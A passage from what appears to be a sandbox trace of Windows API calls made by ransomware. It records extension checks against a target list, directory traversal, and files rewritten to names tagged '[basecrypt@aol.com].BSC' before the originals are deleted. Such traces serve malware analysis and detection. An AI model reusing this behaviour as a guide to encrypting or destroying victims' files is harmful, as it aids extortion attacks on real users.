(lpString1=".jpg", lpString2=".ico") returned 1 [0103.336] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.336] lstrlenW (lpString="Save.ico") returned 8 [0103.336] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0103.337] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=1150) returned 1 [0103.337] CloseHandle (hObject=0x328) returned 1 [0103.337] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0103.337] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.337] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0103.337] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.337] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.337] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.345] GetLastError () returned 0x0 [0103.345] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x47e, lpOverlapped=0x0) returned 1 [0103.381] WriteFile (in: hFile=0x35c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0x480, lpOverlapped=0x0) returned 1 [0103.383] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.383] WriteFile (in: hFile=0x35c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.383] SetEndOfFile (hFile=0x35c) returned 1 [0103.386] CloseHandle (hObject=0x35c) returned 1 [0103.694] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.694] SetEndOfFile (hFile=0x328) returned 1 [0103.695] CloseHandle (hObject=0x328) returned 1 [0103.695] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.695] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0104.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0104.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0104.005] lstrlenW (lpString=".doc") returned 4 [0104.005] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0104.005] lstrlenW (lpString=".docx") returned 5 [0104.005] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0104.005] lstrlenW (lpString=".pdf") returned 4 [0104.005] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0104.005] lstrlenW (lpString=".xls") returned 4 [0104.005] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0104.005] lstrlenW (lpString=".xlsx") returned 5 [0104.005] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0104.005] lstrlenW (lpString=".ppt") returned 4 [0104.005] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0104.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0104.005] lstrlenW (lpString=".zip") returned 4 [0104.005] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0104.005] lstrlenW (lpString=".rar") returned 4 [0104.005] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0104.005] lstrlenW (lpString=".bz2") returned 4 [0104.005] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0104.005] lstrlenW (lpString=".7z") returned 3 [0104.005] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0104.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0104.005] lstrlenW (lpString=".dbf") returned 4 [0104.006] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0104.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0104.006] lstrlenW (lpString=".1cd") returned 4 [0104.006] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0104.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0104.006] lstrlenW (lpString=".jpg") returned 4 [0104.006] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0104.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0104.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0104.006] lstrlenW (lpString=".doc") returned 4 [0104.006] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0104.006] lstrlenW (lpString=".docx") returned 5 [0104.006] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0104.006] lstrlenW (lpString=".pdf") returned 4 [0104.006] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0104.006] lstrlenW (lpString=".xls") returned 4 [0104.006] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0104.006] lstrlenW (lpString=".xlsx") returned 5 [0104.006] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0104.006] lstrlenW (lpString=".ppt") returned 4 [0104.006] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0104.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0104.006] lstrlenW (lpString=".zip") returned 4 [0104.006] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0104.007] lstrlenW (lpString=".rar") returned 4 [0104.007] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0104.007] lstrlenW (lpString=".bz2") returned 4 [0104.007] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0104.007] lstrlenW (lpString=".7z") returned 3 [0104.007] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0104.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0104.007] lstrlenW (lpString=".dbf") returned 4 [0104.007] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0104.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0104.007] lstrlenW (lpString=".1cd") returned 4 [0104.007] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0104.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0104.007] lstrlenW (lpString=".jpg") returned 4 [0104.007] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0104.007] lstrcmpiW (lpString1=".mzz", lpString2=".BSC") returned 1 [0104.007] lstrlenW (lpString="netfx_Extended.mzz") returned 18 [0104.007] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0104.008] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=43131591) returned 1 [0104.008] CloseHandle (hObject=0x328) returned 1 [0104.008] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0104.008] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0104.008] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[basecrypt@aol.com].bsc")) returned 1 [0104.009] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0104.009] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fc64 | out: lpNewFilePointer=0x0) returned 1 [0104.009] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fc24 | out: lpNewFilePointer=0x0) returned 1 [0104.009] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x317fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d3b058*, lpNumberOfBytesRead=0x317fc30*=0x40000, lpOverlapped=0x0) returned 1 [0105.004] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x317fc24 | out: lpNewFilePointer=0x0) returned 1 [0105.004] ReadFile (in: hFile=0x328, lpBuffer=0x3d7b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x317fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d7b058*, lpNumberOfBytesRead=0x317fc30*=0x40000, lpOverlapped=0x0) returned 1 [0105.105] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x317fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.105] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x317fc24 | out: lpNewFilePointer=0x0) returned 1 [0105.105] ReadFile (in: hFile=0x328, lpBuffer=0x3dbb058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x317fc30, lpOverlapped=0x0 | out: lpBuffer=0x3dbb058*, lpNumberOfBytesRead=0x317fc30*=0x40000, lpOverlapped=0x0) returned 1 [0105.121] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.121] WriteFile (hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x317fca8, lpOverlapped=0x0) Thread: id = 15 os_tid = 0xce0 [0099.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3c50938 [0099.841] lstrlenW (lpString="C:") returned 2 [0099.841] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x32bfcf8 | out: lpFindFileData=0x32bfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x5d9a58 [0099.841] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0099.841] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0099.841] lstrlenW (lpString="$GetCurrent") returned 11 [0099.841] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0099.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3c60940 [0099.842] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0099.842] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5d9818 [0100.011] FindNextFileW (in: hFindFile=0x5d9818, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0100.012] FindNextFileW (in: hFindFile=0x5d9818, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0100.012] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0100.012] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0100.012] lstrlenW (lpString="Logs") returned 4 [0100.012] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0100.012] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0100.012] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0100.012] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290800 [0100.335] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.355] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0100.355] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0100.355] lstrlenW (lpString=".1cd") returned 4 [0100.355] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0100.355] lstrlenW (lpString=".3ds") returned 4 [0100.355] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0100.355] lstrlenW (lpString=".3fr") returned 4 [0100.355] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0100.355] lstrlenW (lpString=".3g2") returned 4 [0100.355] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0100.355] lstrlenW (lpString=".3gp") returned 4 [0100.355] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0100.355] lstrlenW (lpString=".7z") returned 3 [0100.356] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0100.356] lstrlenW (lpString=".accda") returned 6 [0100.356] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0100.356] lstrlenW (lpString=".accdb") returned 6 [0100.356] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0100.356] lstrlenW (lpString=".accdc") returned 6 [0100.356] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0100.356] lstrlenW (lpString=".accde") returned 6 [0100.356] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0100.356] lstrlenW (lpString=".accdt") returned 6 [0100.356] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0100.356] lstrlenW (lpString=".accdw") returned 6 [0100.356] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0100.356] lstrlenW (lpString=".adb") returned 4 [0100.356] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0100.356] lstrlenW (lpString=".adp") returned 4 [0100.356] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0100.356] lstrlenW (lpString=".ai") returned 3 [0100.356] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0100.356] lstrlenW (lpString=".ai3") returned 4 [0100.356] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0100.356] lstrlenW (lpString=".ai4") returned 4 [0100.356] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0100.356] lstrlenW (lpString=".ai5") returned 4 [0100.356] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0100.356] lstrlenW (lpString=".ai6") returned 4 [0100.356] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0100.357] lstrlenW (lpString=".ai7") returned 4 [0100.357] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0100.357] lstrlenW (lpString=".ai8") returned 4 [0100.357] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0100.357] lstrlenW (lpString=".anim") returned 5 [0100.357] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0100.357] lstrlenW (lpString=".arw") returned 4 [0100.357] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0100.357] lstrlenW (lpString=".as") returned 3 [0100.357] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0100.357] lstrlenW (lpString=".asa") returned 4 [0100.357] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0100.357] lstrlenW (lpString=".asc") returned 4 [0100.357] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0100.357] lstrlenW (lpString=".ascx") returned 5 [0100.357] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0100.357] lstrlenW (lpString=".asm") returned 4 [0100.357] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0100.357] lstrlenW (lpString=".asmx") returned 5 [0100.357] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0100.357] lstrlenW (lpString=".asp") returned 4 [0100.357] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0100.357] lstrlenW (lpString=".aspx") returned 5 [0100.357] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0100.357] lstrlenW (lpString=".asr") returned 4 [0100.357] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0100.357] lstrlenW (lpString=".asx") returned 4 [0100.358] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0100.358] lstrlenW (lpString=".avi") returned 4 [0100.358] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0100.358] lstrlenW (lpString=".avs") returned 4 [0100.358] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0100.358] lstrlenW (lpString=".backup") returned 7 [0100.358] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0100.358] lstrlenW (lpString=".bak") returned 4 [0100.358] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0100.358] lstrlenW (lpString=".bay") returned 4 [0100.358] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0100.358] lstrlenW (lpString=".bd") returned 3 [0100.358] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0100.358] lstrlenW (lpString=".bin") returned 4 [0100.358] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0100.358] lstrlenW (lpString=".bmp") returned 4 [0100.358] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0100.358] lstrlenW (lpString=".bz2") returned 4 [0100.358] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0100.358] lstrlenW (lpString=".c") returned 2 [0100.358] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0100.358] lstrlenW (lpString=".cdr") returned 4 [0100.358] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0100.358] lstrlenW (lpString=".cer") returned 4 [0100.358] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0100.358] lstrlenW (lpString=".cf") returned 3 [0100.358] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0100.358] lstrlenW (lpString=".cfc") returned 4 [0100.359] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0100.359] lstrlenW (lpString=".cfm") returned 4 [0100.359] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0100.359] lstrlenW (lpString=".cfml") returned 5 [0100.359] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0100.359] lstrlenW (lpString=".cfu") returned 4 [0100.359] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0100.359] lstrlenW (lpString=".chm") returned 4 [0100.359] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0100.359] lstrlenW (lpString=".cin") returned 4 [0100.359] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0100.359] lstrlenW (lpString=".class") returned 6 [0100.359] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0100.360] lstrlenW (lpString=".clx") returned 4 [0100.360] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0100.360] lstrlenW (lpString=".config") returned 7 [0100.360] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0100.360] lstrlenW (lpString=".cpp") returned 4 [0100.360] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0100.360] lstrlenW (lpString=".cr2") returned 4 [0100.360] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0100.360] lstrlenW (lpString=".crt") returned 4 [0100.360] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0100.360] lstrlenW (lpString=".crw") returned 4 [0100.360] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0100.360] lstrlenW (lpString=".cs") returned 3 [0100.360] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0100.360] lstrlenW (lpString=".css") returned 4 [0100.360] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0100.360] lstrlenW (lpString=".csv") returned 4 [0100.360] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0100.360] lstrlenW (lpString=".cub") returned 4 [0100.360] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0100.360] lstrlenW (lpString=".dae") returned 4 [0100.360] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0100.360] lstrlenW (lpString=".dat") returned 4 [0100.360] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0100.360] lstrlenW (lpString=".db") returned 3 [0100.360] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0100.360] lstrlenW (lpString=".dbf") returned 4 [0100.361] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0100.361] lstrlenW (lpString=".dbx") returned 4 [0100.361] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0100.361] lstrlenW (lpString=".dc3") returned 4 [0100.361] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0100.361] lstrlenW (lpString=".dcm") returned 4 [0100.361] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0100.361] lstrlenW (lpString=".dcr") returned 4 [0100.361] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0100.361] lstrlenW (lpString=".der") returned 4 [0100.361] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0100.361] lstrlenW (lpString=".dib") returned 4 [0100.361] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0100.361] lstrlenW (lpString=".dic") returned 4 [0100.361] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0100.361] lstrlenW (lpString=".dif") returned 4 [0100.361] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0100.361] lstrlenW (lpString=".divx") returned 5 [0100.361] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0100.361] lstrlenW (lpString=".djvu") returned 5 [0100.361] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0100.361] lstrlenW (lpString=".dng") returned 4 [0100.361] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0100.361] lstrlenW (lpString=".doc") returned 4 [0100.361] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0100.361] lstrlenW (lpString=".docm") returned 5 [0100.362] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0100.362] lstrlenW (lpString=".docx") returned 5 [0100.362] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0100.362] lstrlenW (lpString=".dot") returned 4 [0100.362] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0100.362] lstrlenW (lpString=".dotm") returned 5 [0100.362] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0100.362] lstrlenW (lpString=".dotx") returned 5 [0100.362] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0100.362] lstrlenW (lpString=".dpx") returned 4 [0100.362] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0100.362] lstrlenW (lpString=".dqy") returned 4 [0100.362] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0100.362] lstrlenW (lpString=".dsn") returned 4 [0100.362] 